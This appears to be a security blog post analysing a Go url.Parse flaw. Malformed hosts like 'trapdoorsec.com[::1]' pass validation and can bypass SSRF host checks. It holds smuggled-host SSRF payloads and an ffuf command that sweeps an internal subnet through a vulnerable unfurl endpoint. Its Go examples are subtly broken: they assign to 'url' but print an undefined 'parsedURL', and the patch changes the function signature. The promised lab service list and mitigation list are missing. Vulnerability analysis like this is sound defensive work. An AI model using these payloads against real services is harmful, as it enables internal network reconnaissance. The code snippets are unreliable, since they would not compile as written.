Vulnerability Spelunking #1: SSRF with Golang's url.Parse

9 minutes read


Buy Me a Coffee at ko-fi.com

Let’s go on a SSRFing adventure

I feel that there is a great deal of knowledge locked up in the mistakes of history. Since I am interested in application security, this means I am inherently interested in the history of application security mistakes.

People like Louis Nyffenegger, (who possibly coined the term ‘CVE archaeology’ in the first place) and vx-underground are an inspiration for those of us who like to explore these digital oddities.

My intent is to show you this exploration, or ‘spelunking’ if you will. These are not my CVEs, just an analysis of other peoples. So, grab your hard hat and let’s head into the ancient CaVEs of MITRE’s back catalog of CVEs and see what treasures we can find from the mistakes of yesterday, so that we are not doomed to repeat them today.

obligatory lord of the rings meme picture of bilbo running away from the shire

CaVE-2026-25679

CVE-2026-25679 itself is a parsing issue that affects a category of golang web services that I’ll demonstrate in a little while. While it is new, it has historical pedigree on account of the fact that it was a mistake made while addressing an older CVE from last year.

CVE-2026-25679 is a high-severity input validation vulnerability in the Go programming language’s standard library net/url package.

It affects the url.Parse function, which fails to correctly validate the host/authority component of URLs, specifically allowing malformed IPv6 host literals and other invalid characters that should be rejected according to RFC 3986 standards. URL parsing errors in standard libraries provide bug hunters like me a target rich environment.

IDCVE-2026-25679
Credit goes toMasaki Hari
Reporthttps://sg.wantedly.com/companies/wantedly/post_articles/1041394
Weakness(es)Improper Validation, Forced Browsing
Severity
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vendorgolang std lib
Affected Components & Versionsnet/url before go1.25.8, from go1.26.0-0 before go1.26.1

Into the darkness we go

The flaw is simple: normally, an invalid URL would fail validation checks. But in these versions of go, an invalid URL could slip through the cracks. E.g. a non-standard URL like this should fail validation http://trapdoorsec.com[::1]/, but it passes. Worse, it accepts the value inside the brackets!

For this to make sense you need to know that URLs are made up of many components, host being one of them. Consider this code that breaks a URL apart into its constituents.

package main
import (
	"fmt"
	"log"
	"net/url"
)

func main() {
	raw_url := "https://trapdoorsec.com/login?redir=page" 
	url, err := url.Parse(raw_url)                             

	if err != nil {
		log.Fatal(err)
	}

	fmt.Println("Scheme:  ", parsedURL.Scheme)
	fmt.Println("Host:    ", parsedURL.Host)
	fmt.Println("Hostname:", parsedURL.Hostname())
	fmt.Println("Port:    ", parsedURL.Port())
	fmt.Println("Path:    ", parsedURL.Path)      
}

If you were to run this with go run main.go it would print out the result.

Scheme:   https
Host:     trapdoorsec.com
Hostname: trapdoorsec.com
Port:
Path:     /login

There are more components than this, but this is all you need to know. From the above, I trust that you can see that url.Parse has several very important jobs.

One of which is to find the part of the received string that corresponds with the host. The function that does this is called parseHost and it happens to be where this vulnerability exists:-

func parseHost(scheme, host string) (string, error) {
	if openBracketIdx := strings.LastIndex(host, "["); openBracketIdx != -1 { // <-- vulnerability here
		// Parse an IP-Literal in RFC 3986 and RFC 6874.
		// E.g., "[fe80::1]", "[fe80::1%25en0]", "[fe80::1]:80".
		closeBracketIdx := strings.LastIndex(host, "]")
		if closeBracketIdx < 0 {
			return "", errors.New("missing ']' in host")
		}
		// ...

The job of that if check on the second line, is to hunt down open brackets inside of the host string. This is because, most of the time, hosts in URLs don’t have square brackets in them. If they do, it must mean it is an IPv6 address. An example of a valid IPv6 address in a URL looks like this: https://[::1]/login?redir=home

The comment from the contributor stated:

Now, the parsing logic should strictly enforce that only IPv6 hostnames can be resolved when in square brackets.

Except that code isn’t strict enough. Go’s strings.LastIndex will return the last occurrence of the [ character. URLs with IPv6 addresses in them should only ever have a [ at the beginning of the string. This mistake trusts that the open bracket will always be at the beginning of the string but never checks that! To bring this full circle, hopefully now you can see why this validation/parsing issue is possible.

The patch is also relatively straight forward, all we have to do is fail at that point

func parseHost(host string) (string, error) {
	if openBracketIdx := strings.LastIndex(host, "["); openBracketIdx > 0 {
		return "", errors.New("invalid IP-literal") // <-- fix here
	} else if openBracketIdx == 0 {
		// Parse an IP-Literal in RFC 3986 and RFC 6874.
		// E.g., "[fe80::1]", "[fe80::1%25en0]", "[fe80::1]:80".
		closeBracketIdx := strings.LastIndex(host, "]")
		if closeBracketIdx < 0 {
			return "", errors.New("missing ']' in host")
		}
		// ...

Exploitation

I think perhaps the reason this bug didn’t get loads of attention is that its direct impact is limited to availability, despite its low attack complexity.

That doesn’t mean it isn’t useful though, because one of the issues with the CVSS (the scoring system we use to rate these bugs) is that it doesn’t really deal with ‘chainability’. Arguably, this is a highly chainable primitive by which to launch other attacks from.

Let’s return to our contrived example code and see what happens:

func main() {
	// this time pass a 'malicious string'
	raw_url := "https://trapdoorsec.com[::1]:8080/login?redir=page"
	url, err := url.Parse(raw_url)                            

	if err != nil {
		log.Fatal(err)
	}

	fmt.Println("Scheme:  ", parsedURL.Scheme)
	fmt.Println("Host:    ", parsedURL.Host)
	fmt.Println("Hostname:", parsedURL.Hostname())
	fmt.Println("Port:    ", parsedURL.Port())
	fmt.Println("Path:    ", parsedURL.Path)     
}

output:

Scheme:   https
Host:     trapdoorsec.com[::1]:8080
Hostname: ::1
Port:     8080
Path:     /login

Crazy right? The actual URL is ignored, and the hostname is the malicious IPv6 address, and the port remains intact!

Notice that Host retains the malformed authority exactly as supplied, while Hostname() interprets the destination as ::1. The apparently legitimate trapdoorsec.com portion has disappeared from Go’s interpretation of the network destination.

Now consider that there are many types of systems that rely on trustworthy URL parsing;-

  1. Webhook delivery systems (CI/CD, Stripe-style callbacks, monitoring pings): imagine an [ab]user registers https://ci.example.com[::1]/hook as their webhook target
  2. SSO/OIDC redirect & issuer validation: an IdP that validates redirect_uri by checking the parsed host will pass the check while subsequent request flows go to an attacker-chosen internal address
  3. URL fetchers in security tooling: VirusTotal-style scanners, image/CVE feed fetchers, package proxy validators. A “scan this URL” feature becomes an internal network mapper with a trusted origin
  4. Proxy/ACL enforcement: corporate egress proxies or API gateways that parse the URL to decide allow/deny by domain category.
  5. Microservice internal routing: services that accept a URL from a peer and route by parsed host
  6. Social media style URL ‘unfurlers’: these are quite common, a user makes a post with a URL in it, the backend goes and fetches cool stuff about that URL and renders it in the post.

In all instances, the victim becomes a bit like a curl puppet to the attacker, and can be misused to retrieve internal system details to further the attackers goals (cookies, tokens, internal network info). So lets pick on an example and throw it into a lab.

Example: URL unfurling

If you are already familiar with SSRF attacks, none of the following is likely to surprise you, but I encourage you to stick around to the end of the post to go over mitigations beyond ‘patch ur sh**’

Let’s imagine if you are trusting url.Parse to get you the correct host, but instead, your program is fetching against the local network on all ports as the server.

What could we do with that? Well for this part I need you to imagine a twitter clone or other kind of social media site. Let’s call it tripper for funzies. Tripper lets you chat with friends, and when you use a URL in your posts, the backend will ‘unfurl’ it.

Wait up, what is unfurling? You’ve probably seen this in many social media sites, where you get a little automatic embed for every link you sprinkle into your post. For example, slack does this

So it is very common, and a naive approach to doing it would look something like this:

flowchart LR
    user -->|submits message with url inside| tripper
    tripper -->|validate url| policy["check allow list"]
    policy --> fetcher["preview web fetch"]
    fetcher --> internet["external website"]
    internet --> fetcher
    fetcher -->|renders html embed| tripper

Typically, once initial url validation passes, destination validation is checked to make sure this address was allowed. This is precisely where this sneaky little bug has benefit.

At its heart, it is a potential for bypassing loose validation logic, similar to the way we would dodge badchars in XSS attacks.

flowchart TD
    attacker
    attacker -->|"sends<br/>http://example.com[::1]:port"| parser["vulnerable url.parse"]
    parser --> result["parsed host becomes<br/>::1"]
    result --> request["fetcher bypasses block list<br/>localhost:port instead of<br/>example.com"]
    expected["expected behaviour:<br/>reject malformed authority"]
    attacker -.-> expected

So now we can see why this bug is narrow in isolation but potentially dangerous under the right conditions and so therefore still deserves a high risk rating.

The potential for server side request forgery is present here. The reason why SSRF is not mentioned in the CVE is that this is only a potential second order effect, and highly situational. That said, URL validation followed by server-side fetching is an extremely common pattern. Applications using an affected Go runtime alongside this kind of unsafe validation logic may have been vulnerable, and unpatched applications may remain so.

The lab

To prove this out for real, I built a small Docker Compose network that mimics the trust boundary you’d find in any real deployment. There are exactly two services on a pinned internal subnet (172.28.0.0/24):

The attacker (that’s us, sitting out on the “internet”) has exactly one route into this network: the unfurl endpoint. We can’t reach the victim directly, we can’t sweep the subnet from the host, and the SSRF guard string-matches the hostname precisely to keep it that way. And yet, with a single smuggled URL, the guard waves us straight through and tripper - a trusted internal service - knocks on the victim’s door on our behalf. The defender’s control and the attacker’s egress are the same socket.

---
title: Lab topology
---
flowchart LR
    subgraph Internet
        A["curl / ffuf"]
    end

    subgraph Docker network 172.28.0.0/24
        T["website<br/>int: 172.28.0.20:8080<br/>ext: vulnerable.site:8080"]
        V["victim<br/>172.28.0.10:80<br/>no ext. comms"]
    end

    A -->|"http://vulnerable.site:8080<br/>/unfurl?url=<br/>http://amazon.com[::ffff:ac1c:a]:80"| T
    T -->|"SSRF fetch amazon.com port 80"| V
    V --> T
    A -.->|"direct access impossible"| V

To demonstrate this I’ve written a contrived example of a vulnerable webservice that does server side web fetching, available as a gist it takes a url as a get param, (which is what makes it contrived - use your imagination from here), and a vulnerable network in which to test it from your host. The demo shows that basic tools can do an address sweep to find other attack-able web servers on an internal network by fuzzing for IPv6 addresses.

As far as I could tell, IPv6 addresses would need to be written in fully hexadecimal form. For e.g. to sweep a network, you’d want a list like this…

 ...
 ::ffff:ac1c:02
 ::ffff:ac1c:03
 ::ffff:ac1c:04
 ::ffff:ac1c:05
 ...and so on

Using ffuf we would take aim at a vulnerable service in the following way, noting that usual issues like encoding might get in the way of a good time:

seq 2 254 | awk '{printf "::ffff:ac1c:%x\n", $1}' > ips.txt
ffuf -u 'http://vulnerable.site:8080/unfurl?url=http%3A%2F%2Fdummy.com%5BFUZZ%5D%3A80' \
     -w ips.txt -fr 'deadline exceeded'

The sweep above is then just automation on top: ask tripper to unfurl the mapped-hex form for every candidate address on the subnet and watch the timing oracle light up when something answers. Two hosts exist on this network, and from outside, only one of them is supposed to be findable.

What treasures can we extract from this spelunk?

Most teams kind of ‘patch and move on’ from something like this, however the real lesson is not to trust that input at all. url.Parse was never meant to be a security boundary, it just tells you if the URL is valid. Besides, what if it happens again?

The truth is that it is up to application logic AND network design to prevent SSRF from becoming a problem in your architecture. So here are some final thoughts on additional mitigations we have at our disposal.

Until next time!

In summary, I hope you can see that the exploitability of a flaw like this depends heavily on the architecture around it. A finding from a dumb scanner could be meaningless noise, or genuine cause for alarm.

Even LLM-assisted reachability analysis may get this wrong, because source code alone may not reveal the runtime routing, configuration and trust boundaries that determine whether the flaw is exploitable. Sometimes, confirming the real risk requires testing under the representative dynamic conditions of the production environment.

Thanks for reading, I do hope you like the new theme as well :)